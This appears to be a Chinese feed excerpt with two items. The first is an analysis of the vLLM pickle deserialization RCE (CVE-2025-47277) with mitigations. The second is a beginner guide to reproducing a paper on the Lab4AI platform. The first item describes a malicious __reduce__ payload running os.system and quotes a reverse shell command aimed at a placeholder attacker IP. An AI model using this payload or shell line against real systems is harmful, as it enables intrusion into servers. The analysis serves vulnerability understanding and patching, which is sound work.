Generalization）问题。三、…

vLLM pickle反序列化漏洞详细分析
type: item
date: 2026-01-24T18:13:56+08:00
description: 漏洞描述CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。影响范围条件说明影响版本vLLM >= 0.6.5 且 < 0.8.5影响模块VLLMEngineV0引擎中启用的PyNcclPipeKV 缓存传输机制受影响部署模式多节点分布式部署，KV 节点暴露在公网或未限制访问不受影响使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署漏洞环境搭建可以在本地搭建一个复现环境：●Python ≥ 3.8●vLLM == 0.8.3（或受影响版本）●PyTorch​代码解读​PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等​kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。kv_rank：当前节点在分布式系统中的编号，0 表示主节点。kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。kv_buffer_size：每次接收 tensor 的 buffer 大小。kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。​创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。​这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。漏洞分析成因点描述不安全反序列化recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化，无身份校验或数据校验。网络暴露配置缺陷PyTorch 的TCPStore默认监听0.0.0.0，vLLM 用户配置--kv-ip也未能强制绑定私有 IP。内网信任假设过强vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。在pynccl_pipe.py中调用了recv_obj()方法而recv_obj()方法中刚好对传入的字符串进行pickle反序列化漏洞复现攻击脚本代码分段解读：这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。这是攻击的核心：__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）这个接口实际上是将攻击者作为一个“合法”节点加入通信组。通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell漏洞修复vLLM 在 0.8.5 版本中已修复此漏洞：修复内容：● 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）● 改进通信逻辑，防止未经校验的pickle.loads被直接调用防护建议：●升级 vLLM 至 ≥ 0.8.5● 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）● 切换到 V1 引擎，其不使用该模块● 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信参考文章●github.com…

手把手教你进行论文复现，小白也能学会，赶紧收藏
type: item
date: 2026-01-23T17:49:26+08:00
description: 手把手教你进行论文复现，小白也能学会，赶紧收藏复现，是你迈入“真科研”的第一步。你是不是常常看见学术圈或技术论坛中大家提到“论文复现”这个词，却不太明白它的含义？别急！这篇超详细的实操指南，从“是什么” 到 “怎么做”，再到 “避坑技巧”，手把手带小白走完第一次论文复现，赶紧收藏起来慢慢看～什么是“复现”？复现≠复制粘贴！它是用原作者公开的技术细节、实验步骤、代码仓库和数据集，自己动手重新实现，验证论文结果是否可重复的过程。简单说，就是跟着论文的“说明书”，亲自跑一遍实验,既能吃透论文核心逻辑，又能练编程、调参技能，还能检验研究成果的可靠性，毕竟学术研究的本质就是“可验证、可推广”。为什么要做论文复现？1. 深入理解核心技术复现的最大好处是能够从理论层面走向实践。光看论文中的理论、公式和结果可能无法完全理解其背后的实现细节，而亲自动手复现，可以让你更好地理解技术原理。2. 检验研究成果的可靠性论文中的研究结果，未必在其他环境下也能复现，尤其是涉及到数据集和模型训练等因素时。通过复现，我们可以验证这些结果是否具有普适性。3. 累积实战经验复现过程是一个实战的过程，尤其是在深度学习和机器学习、大模型领域，实验中的调参、数据处理、模型选择等都会是你宝贵的经验。对科研人员来说，复现一些经典论文是最直接的学习方式。手把手教你做第一个复现项目复现论文并不是一件容易的事，但只要你掌握了方法，逐步进行，也能顺利完成。接下来我们以《PhotoDoodle: Learning Artistic Image Editing from Few-Shot Examples》这篇论文为例，借助大模型实验室Lab4AI平台，带你从头开始复现。Step 1 找到合适的论文和代码复现的第一步是找到值得复现且能复现的论文和代码。大多数论文会将其代码发布在GitHub或其他平台上，因此你需要阅读论文，并且找到代码仓库的链接，链接通常附加在论文末尾或摘要部分。找到论文提供的GitHub开源代码后，你需要查看项目中是否有清晰的README文件，介绍如何配置环境、安装依赖、运行代码等。这里分享5个筛选项目的关键技巧，总结为“三查”核心原则：查信息完整性、查代码一致性、查资源可行性，帮你快速避坑：完整信息性：优先选择开源项目，尤其是原作者主动公开代码仓库、数据集，这种项目复现难度较低。同时，选择项目时优先关注项目活跃度、检查Star数、Fork数、更新频率、issue解决率等。一般情况下数值越高，说明社区认可度高、维护更及时，遇到问题更容易找到解决方案；代码一致性：检查代码和论文的实现是否一致。如果有问题，可以参考GitHub上的Issues查看是否有人遇到类似问题。资源可行性：检查项目是否提供完整依赖清单、数据集及模型下载链接。如果作者未提供，你可能需要额外花费大量时间寻找适配资源。在《PhotoDoodle》这篇论文中，GitHub上的代码仓库包含了与艺术图像编辑相关的实现，README有详细的项目介绍，包括了从少量样本中学习艺术风格的代码。需要重点关注以下几个部分：项目概述：了解这篇论文的核心思想，确认复现的目标。环境配置：确认环境依赖是否满足你的系统，查看Python、CUDA和其他必需库的版本。训练与推理代码：观察代码是否完整，并分析如何通过代码进行图像编辑任务，特别是如何加载预训练模型、微调模型、以及如何用少量图像进行训练。Step 2 配置环境并安装依赖本次我们选用大模型实验室Lab4AI来进行复现，平台提供灵活计费的H卡算力，闲时使用更优惠。您也可以使用本地资源或者实验室资源，进行本次复现。打开大模型实验室Lab4AI，登录大模型实验室Lab4AI平台。点击右侧“新建实例”，新建前建议先查看“GitHub项目的文档”的环境配置说明。Step 3 下载代码新建实例后，先下载论文代码，推荐4种常用方式：第一种：通过HTTPS方式。通过网页URL链接克隆，无需额外配置密钥，是最常用的方式；第二种：通过SSH方式。通过SSH密钥认证克隆，需通过SSH密钥认证克隆提前在GitHub账号绑定本地SSH密钥，更安全且无需重复输入密码；第三种：通过GitHub CLI方式。通过GitHub官方命令行工具克隆，需先安装并登录该工具，适合习惯命令行操作的用户；第四种：直接下载项目压缩包，不需要Git工具即可获取代码。Step 4 配置环境环境配置是复现的“重头戏”，按以下步骤操作，少踩 90% 的坑：(1) 创建独立虚拟环境，这样能够避免依赖冲突：conda create -n doodle python=3.11.10 # 创建环境 conda activate doodle # 激活环境(2) 安装PyTorch与项目依赖使用 cd 命令进入代码所在文件夹，再分两步安装。…